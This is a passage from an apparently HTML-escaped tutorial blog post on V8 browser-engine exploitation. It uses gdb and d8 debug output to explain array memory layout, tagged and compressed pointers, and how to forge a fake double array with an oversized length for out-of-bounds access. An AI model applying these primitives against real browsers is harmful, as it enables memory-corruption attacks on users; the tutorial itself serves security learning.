1&amp;gt;&#xD;&#xA; - instance descriptors #1: 0x0a38001cb751 &amp;lt;DescriptorArray[1]&amp;gt;&#xD;&#xA; - transitions #1: 0x0a38001cb7ed &amp;lt;TransitionArray[4]&amp;gt;&#xD;&#xA;   Transition array #1:&#xD;&#xA;     0x0a3800000e5d &amp;lt;Symbol: (elements_transition_symbol)&amp;gt;: (transition to HOLEY_DOUBLE_ELEMENTS) -&amp;gt; 0x0a38001cb805 &amp;lt;Map[16](HOLEY_DOUBLE_ELEMENTS)&amp;gt;&#xD;&#xA; - prototype: 0x0a38001cb11d &amp;lt;JSArray[0]&amp;gt;&#xD;&#xA; - constructor: 0x0a38001cae09 &amp;lt;JSFunction Array (sfi = 0xa380002b2f9)&amp;gt;&#xD;&#xA; - dependent code: 0x0a3800000735 &amp;lt;Other heap object (WEAK_ARRAY_LIST_TYPE)&amp;gt;&#xD;&#xA; - construction counter: 0&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;[1.1, 2.2, 3.3]&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;d8&amp;gt; ^Z&lt;/span&gt; &lt;span class=&#34;termCodeComm&#34;&gt;&amp;lt;-- suspend d8 (ctrl+z) to get to gdb&lt;/span&gt;&#xD;&#xA;Thread 1 &#34;d8&#34; received signal SIGTSTP, Stopped (user).&#xD;&#xA;0x00007ffff7da000a in read () from /usr/lib/libc.so.6&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;(gdb) x/8xg 0xa3800042be9-1&lt;/span&gt; &lt;span class=&#34;termCodeComm&#34;&gt;&amp;lt;-- examine the array&#39;s address&lt;/span&gt;&#xD;&#xA;0xa3800042be8:&#x9;0x00000725001cb7c5&#x9;0x0000000600042bc9&#xD;&#xA;0xa3800042bf8:&#x9;0x00bab9320000010d&#x9;0x7566280a00000adc&#xD;&#xA;0xa3800042c08:&#x9;0x29286e6f6974636e&#x9;0x20657375220a7b20&#xD;&#xA;0xa3800042c18:&#x9;0x3b22746369727473&#x9;0x6d2041202f2f0a0a&#xD;&#xA;&lt;span class=&#34;termCodeW&#34;&gt;(gdb)&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;In this example I made an array, used DebugPrint to see it&amp;rsquo;s address, and then used gdb&amp;rsquo;s &lt;code&gt;x/8xg&lt;/code&gt;&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt; command to see the memory around that address. Going forward I&amp;rsquo;ll be cleaning up the examples shown in the blog post, but this is essentially how you can follow along at home.&lt;/p&gt;&#xA;&lt;p&gt;You&amp;rsquo;ll notice I subtracted 1 from the memory address before viewing it - that&amp;rsquo;s because of tagged pointers! In a &lt;code&gt;PACKED_ELEMENTS&lt;/code&gt; array (and many other V8 structures), SMIs (SMall Integers) that end with a 0 bit (even) are shifted and stored directly, but everything ending with a 1 bit (odd) gets interpreted as a pointer, so a pointer to &lt;code&gt;0x1000&lt;/code&gt; gets stored as &lt;code&gt;0x1001&lt;/code&gt;. Because of this, we have to subtract 1 from all tagged pointers before checking out their address.&lt;/p&gt;&#xA;&lt;p&gt;But let&amp;rsquo;s try to understand what the gdb output above means:&lt;/p&gt;&#xA;&lt;div class=&#34;jsMem&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemTitle&#34;&gt;V8&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemDbg&#34;&gt;DebugPrint: &lt;span class=&#34;jsMemVar1&#34;&gt;0xa3800042be9&lt;/span&gt;: [JSArray]&#xD;&#xA;- map: &lt;span class=&#34;jsMemVar3&#34;&gt;0x0a38001cb7c5&lt;/span&gt; &amp;lt;Map[16](&lt;span class=&#34;jsMemVar3&#34;&gt;PACKED_DOUBLE_ELEMENTS&lt;/span&gt;)&amp;gt; [FastProperties]&#xD;&#xA;- prototype: 0x0a38001cb11d &amp;lt;JSArray[0]&amp;gt;&#xD;&#xA;- elements: &lt;span class=&#34;jsMemVar5&#34;&gt;0x0a3800042bc9&lt;/span&gt; &amp;lt;&lt;span class=&#34;jsMemVar7&#34;&gt;FixedDoubleArray&lt;/span&gt;[&lt;span class=&#34;jsMemVar6&#34;&gt;3&lt;/span&gt;]&amp;gt; [PACKED_DOUBLE_ELEMENTS]&#xD;&#xA;- length: &lt;span class=&#34;jsMemVar4&#34;&gt;3&lt;/span&gt;&#xD;&#xA;- properties: &lt;span class=&#34;jsMemVar2&#34;&gt;0x0a3800000725&lt;/span&gt; &amp;lt;FixedArray[0]&amp;gt;&#xD;&#xA;- All own properties (excluding elements): {&#xD;&#xA;   0xa3800000d99: [String] in ReadOnlySpace: #length: 0x0a3800025f85 &amp;lt;AccessorInfo name= 0x0a3800000d99 &amp;lt;String[6]: #length&amp;gt;, data= 0x0a3800000069 &amp;lt;undefined&amp;gt&amp;gt; (const accessor descriptor, attrs: [W__]), location: descriptor&#xD;&#xA;}&#xD;&#xA;- elements: &lt;span class=&#34;jsMemVar5&#34;&gt;0x0a3800042bc9&lt;/span&gt; &amp;lt;&lt;span class=&#34;jsMemVar7&#34;&gt;FixedDoubleArray&lt;/span&gt;[&lt;span class=&#34;jsMemVar6&#34;&gt;3&lt;/span&gt;]&amp;gt; {&#xD;&#xA;          0: &lt;span class=&#34;jsMemVar8&#34;&gt;1.1&lt;/span&gt;&#xD;&#xA;          1: &lt;span class=&#34;jsMemVar9&#34;&gt;2.2&lt;/span&gt;&#xD;&#xA;          2: &lt;span class=&#34;jsMemVar10&#34;&gt;3.3&lt;/span&gt;&#xD;&#xA;}&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;GDB&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemHex&#34;&gt;0xa3800042bb8: 0x00000004000005e5&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042bc0:&lt;/span&gt; 0x001d3377020801a4&#xD;&#xA;&lt;span class=&#34;jsMemVar5&#34;&gt;0xa3800042bc8&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar6&#34;&gt;00000006&lt;/span&gt;&lt;span class=&#34;jsMemVar7&#34;&gt;000008a9&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042bd0:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar8&#34;&gt;3ff199999999999a&lt;/span&gt;&#xD;&#xA;0xa3800042bd8: 0x&lt;span class=&#34;jsMemVar9&#34;&gt;400199999999999a&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042be0:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar10&#34;&gt;400a666666666666&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsMemVar1&#34;&gt;0xa3800042be8&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar2&#34;&gt;00000725&lt;/span&gt;&lt;span class=&#34;jsMemVar3&#34;&gt;001cb7c5&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042bf0:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar4&#34;&gt;00000006&lt;/span&gt;&lt;span class=&#34;jsMemVar5&#34;&gt;00042bc9&lt;/span&gt;&#xD;&#xA;0xa3800042bf8: 0x00bab9320000010d&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042c00:&lt;/span&gt; 0x7566280a00000adc&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;ENG&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemLegend&#34;&gt;&#xD;&#xA;The array is at &lt;span class=&#34;jsMemVar1&#34;&gt;0xa3800042be8&lt;/span&gt;, its &lt;span class=&#34;jsMemVar2&#34;&gt;properties list&lt;/span&gt; is empty, it&#39;s a &lt;code&gt;&lt;span class=&#34;jsMemVar3&#34;&gt;PACKED_DOUBLE_ELEMENTS&lt;/span&gt;&lt;/code&gt; array with a &lt;span class=&#34;jsMemVar4&#34;&gt;length of 3&lt;/span&gt;&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34; style=&#34;color:#95dcff&#34;&gt;4&lt;/a&gt;&lt;/sup&gt; at &lt;span class=&#34;jsMemVar5&#34;&gt;0xa3800042bc8&lt;/span&gt;. At that address we find a &lt;span class=&#34;jsMemVar7&#34;&gt;FixedDoubleArray&lt;/span&gt; with a &lt;span class=&#34;jsMemVar6&#34;&gt;length of 3 (again)&lt;/span&gt; and the doubles &lt;span class=&#34;jsMemVar8&#34;&gt;1.1&lt;/span&gt;, &lt;span class=&#34;jsMemVar9&#34;&gt;2.2&lt;/span&gt;, and &lt;span class=&#34;jsMemVar10&#34;&gt;3.3&lt;/span&gt;.&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;&lt;span style=&#34;display: none&#34;&gt;&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/span&gt;&lt;!-- hack to force my markdown engine add the footnote --&gt;&lt;/p&gt;&#xA;&lt;p&gt;Try &lt;span class=&#34;fineText&#34;&gt;hovering over&lt;/span&gt;&lt;span class=&#34;coarseText&#34;&gt;tapping on&lt;/span&gt; the text and stuff above. You&amp;rsquo;ll see what the memory values mean and how they&amp;rsquo;re represented in the %DebugPrint output.&lt;/p&gt;&#xA;&lt;p&gt;You may be wondering why the memory only contains half the address - &lt;code&gt;0xa3800042bc8&lt;/code&gt; is stored as &lt;code&gt;0x00042bc9&lt;/code&gt; for example. This is &lt;a href=&#34;https://v8.dev/blog/pointer-compression&#34;&gt;V8&amp;rsquo;s pointer compression&lt;/a&gt; and for our purposes all it does is make pointers be just the lower 32 bits of an address.&lt;/p&gt;&#xA;&lt;p&gt;Pretty cool, let&amp;rsquo;s see what happens if we put an array inside of another array:&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34; style=&#34;margin-bottom: 4px&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr2&lt;/span&gt; = [&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;]&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMem&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemTitle&#34;&gt;V8&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemDbg&#34;&gt;DebugPrint: &lt;span class=&#34;jsMemVar1&#34;&gt;0xa3800044a31&lt;/span&gt;: [JSArray]&#xD;&#xA; - map: &lt;span class=&#34;jsMemVar3&#34;&gt;0x0a38001cb845&lt;/span&gt; &amp;lt;Map[16](&lt;span class=&#34;jsMemVar3&#34;&gt;PACKED_ELEMENTS&lt;/span&gt;)&amp;gt; [FastProperties]&#xD;&#xA; - prototype: 0x0a38001cb11d &amp;lt;JSArray[0]&amp;gt;&#xD;&#xA; - elements: &lt;span class=&#34;jsMemVar5&#34;&gt;0x0a3800044a25&lt;/span&gt; &amp;lt;&lt;span class=&#34;jsMemVar7&#34;&gt;FixedArray&lt;/span&gt;[&lt;span class=&#34;jsMemVar6&#34;&gt;1&lt;/span&gt;]&amp;gt; [PACKED_ELEMENTS]&#xD;&#xA; - length: &lt;span class=&#34;jsMemVar4&#34;&gt;1&lt;/span&gt;&#xD;&#xA; - properties: &lt;span class=&#34;jsMemVar2&#34;&gt;0x0a3800000725&lt;/span&gt; &amp;lt;FixedArray[0]&amp;gt;&#xD;&#xA; - All own properties (excluding elements): {&#xD;&#xA;    0xa3800000d99: [String] in ReadOnlySpace: #length: 0x0a3800025f85 &amp;lt;AccessorInfo name= 0x0a3800000d99 &amp;lt;String[6]: #length&amp;gt;, data= 0x0a3800000069 &amp;lt;undefined&amp;gt;&amp;gt; (const accessor descriptor, attrs: [W__]), location: descriptor&#xD;&#xA; }&#xD;&#xA; - elements: &lt;span class=&#34;jsMemVar5&#34;&gt;0x0a3800044a25&lt;/span&gt; &amp;lt;&lt;span class=&#34;jsMemVar7&#34;&gt;FixedArray&lt;/span&gt;[&lt;span class=&#34;jsMemVar6&#34;&gt;1&lt;/span&gt;]&amp;gt; {&#xD;&#xA;           0: &lt;span class=&#34;jsMemVar8&#34;&gt;0x0a3800042be9&lt;/span&gt; &amp;lt;JSArray[3]&amp;gt;&#xD;&#xA; }&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;GDB&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemHex&#34;&gt;0xa3800044a10: 0x000005e5000449f5&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800044a18:&lt;/span&gt; 0x1d1a6d7400000004&#xD;&#xA;&lt;span class=&#34;jsMemVar5&#34;&gt;0xa3800044a20&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar7&#34;&gt;0000056d&lt;/span&gt;001d3fb7&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800044a28:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar8&#34;&gt;00042be9&lt;/span&gt;&lt;span class=&#34;jsMemVar6&#34;&gt;00000002&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsMemVar1&#34;&gt;0xa3800044a30&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar2&#34;&gt;00000725&lt;/span&gt;&lt;span class=&#34;jsMemVar3&#34;&gt;001cb845&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800044a38:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar4&#34;&gt;00000002&lt;/span&gt;&lt;span class=&#34;jsMemVar5&#34;&gt;00044a25&lt;/span&gt;&#xD;&#xA;0xa3800044a40: 0x00000725001cb845&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800044a48:&lt;/span&gt; 0x0000000200044b99&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;ENG&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemLegend&#34;&gt;&#xD;&#xA;&#x9;The &lt;span class=&#34;jsMemVar3&#34;&gt;PACKED_ELEMENTS&lt;/span&gt; array is at &lt;span class=&#34;jsMemVar1&#34;&gt;0xa3800044a30&lt;/span&gt;, its &lt;span class=&#34;jsMemVar4&#34;&gt;1 element&lt;/span&gt; is at &lt;span class=&#34;jsMemVar5&#34;&gt;0xa3800044a24&lt;/span&gt; in a &lt;span class=&#34;jsMemVar7&#34;&gt;FixedArray&lt;/span&gt;[&lt;span class=&#34;jsMemVar6&#34;&gt;1&lt;/span&gt;] and the element is a pointer to the previous array at &lt;span class=&#34;jsMemVar8&#34;&gt;0xa3800042be8&lt;/span&gt;.&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;The memory order of the elements part here looks a little odd because it doesn&amp;rsquo;t align with the 64-bit words and we&amp;rsquo;re looking at &lt;a href=&#34;https://en.wikipedia.org/wiki/Endianness&#34;&gt;little endian&lt;/a&gt; memory. This is a bit counter-intuitive because instead of reading the offset value as &lt;code&gt;0x0000000011112222 0x3333444400000000&lt;/code&gt; you have to read it as &lt;code&gt;0x3333444400000000 0x0000000011112222&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;over640&#34;&gt;&lt;span class=&#34;fineText&#34;&gt;Here&#39;s a fun little widget to play around with the concept:&#xD;&#xA;&lt;div class=&#34;offsetDemo&#34;&gt;&#xD;&#xA;&lt;div class=&#34;offsetDemoOverlay&#34;&gt;&lt;span&gt;0000000000000000&lt;/span&gt;00000000000000000000000000000000&lt;span&gt;0000000000000000&lt;/span&gt;&lt;br&gt;&lt;span&gt;0000000000000000&lt;/span&gt;0&lt;span&gt;00000000000000000&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;offsetDemoLegend&#34;&gt; read bytes as:                &lt;span style=&#34;width:0.5ch;display:inline-block&#34;&gt;&lt;/span&gt;|&lt;br&gt;  if offset by:                &lt;span style=&#34;width:0.5ch;display:inline-block&#34;&gt;&lt;/span&gt;|&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;offsetDemoNumbers&#34;&gt;1111222233334444&lt;span style=&#34;color:#AAA&#34;&gt;0000000000000000&lt;/span&gt;1111222233334444&lt;br&gt;0 1 2 3 4 5 6 7 8                 drag this -&amp;gt;&lt;span class=&#34;offsetDemoHandle&#34;&gt;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;The array in our array is just stored as a pointer to that array! At the moment it is pointing at &lt;code&gt;0xa3800042be8&lt;/code&gt; which has our double array, but if we XOR this pointer to a different address we can make it point to any array or object we want&amp;hellip; even if it doesn&amp;rsquo;t &amp;ldquo;actually&amp;rdquo; exist!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try to make a new array appear out of thin air. To do that, we have to put something in the memory that &lt;em&gt;looks&lt;/em&gt; like an array, and then use XOR to point a pointer to it. I&amp;rsquo;m going to reuse the header of our first array at &lt;code&gt;0xa3800042be8&lt;/code&gt;, changing the memory addresses to match our new fake array.&lt;/p&gt;&#xA;&lt;div class=&#34;jsMem&#34;&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;GDB&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemHex&#34;&gt;&lt;span class=&#34;over430&#34;&gt;0x??????????: 0x????????????????&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;0x??????????:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar6&#34;&gt;00000100&lt;/span&gt;&lt;span class=&#34;jsMemVar7&#34;&gt;000008a9&lt;/span&gt;&lt;/span&gt;&#xD;&#xA;0x??????????: 0x&lt;span class=&#34;jsMemVar2&#34;&gt;00000725&lt;/span&gt;&lt;span class=&#34;jsMemVar3&#34;&gt;001cb7c5&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0x??????????:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar4&#34;&gt;00000100&lt;/span&gt;&lt;span class=&#34;jsMemVar5&#34;&gt;00042bd1&lt;/span&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;ENG&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemLegend&#34;&gt;&#xD;&#xA;Fake &lt;code&gt;&lt;span class=&#34;jsMemVar3&#34;&gt;PACKED_DOUBLE_ELEMENTS&lt;/span&gt;&lt;/code&gt; array with an &lt;span class=&#34;jsMemVar2&#34;&gt;empty properties list&lt;/span&gt;, with &lt;span class=&#34;jsMemVar4&#34;&gt;128 elements&lt;/span&gt; at &lt;span class=&#34;jsMemVar5&#34; style=&#34;text-wrap: nowrap&#34;&gt;0x???00042bd0&lt;/span&gt;. At that address we will have a &lt;span class=&#34;jsMemVar7&#34;&gt;FixedDoubleArray&lt;/span&gt; with a &lt;span class=&#34;jsMemVar6&#34;&gt;length of 128&lt;/span&gt;.&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;That looks like a pretty good fake! And the length of 128 elements is a bonus - letting us read and write far more than we should be able to. To put this fake array in the memory, we must first convert it into floats so we can use it within an array. There are many ways to do that, but the easiest method within JavaScript is to share the same &lt;strong&gt;ArrayBuffer&lt;/strong&gt; between a &lt;strong&gt;Float64Array&lt;/strong&gt; and a &lt;strong&gt;BigUint64Array&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;buffer&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;ArrayBuffer&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;8&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;floatBuffer&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;Float64Array&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;buffer&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;int64Buffer&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;BigUint64Array&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;buffer&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt; = &#xD;&#xA;&#x9;&#x9;(&lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt;) =&gt; {&lt;span style=&#34;white-space: pre-wrap&#34;&gt;&#xD;&#xA;     &lt;span class=&#34;jsConVar&#34;&gt;int64Buffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;;&#xD;&#xA;     &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar0&#34;&gt;floatBuffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;   }&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000725001cb7c5n&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConValOut&#34;&gt;3.881131231533e-311&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Pretty easy! You&amp;rsquo;ll notice I appended an &lt;code&gt;n&lt;/code&gt; to our hex value - this is just to convert it to a &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt&#34;&gt;BigInt&lt;/a&gt;, which is required for the &lt;strong&gt;BigUint64Array&lt;/strong&gt; but also gives us better accuracy in general&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s put these values in the array from earlier:&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000100000008a9n&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000725001cb7c5n&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;2&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x0000010000042bd1n&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;details&gt;&lt;summary&gt;&lt;i&gt;(3) 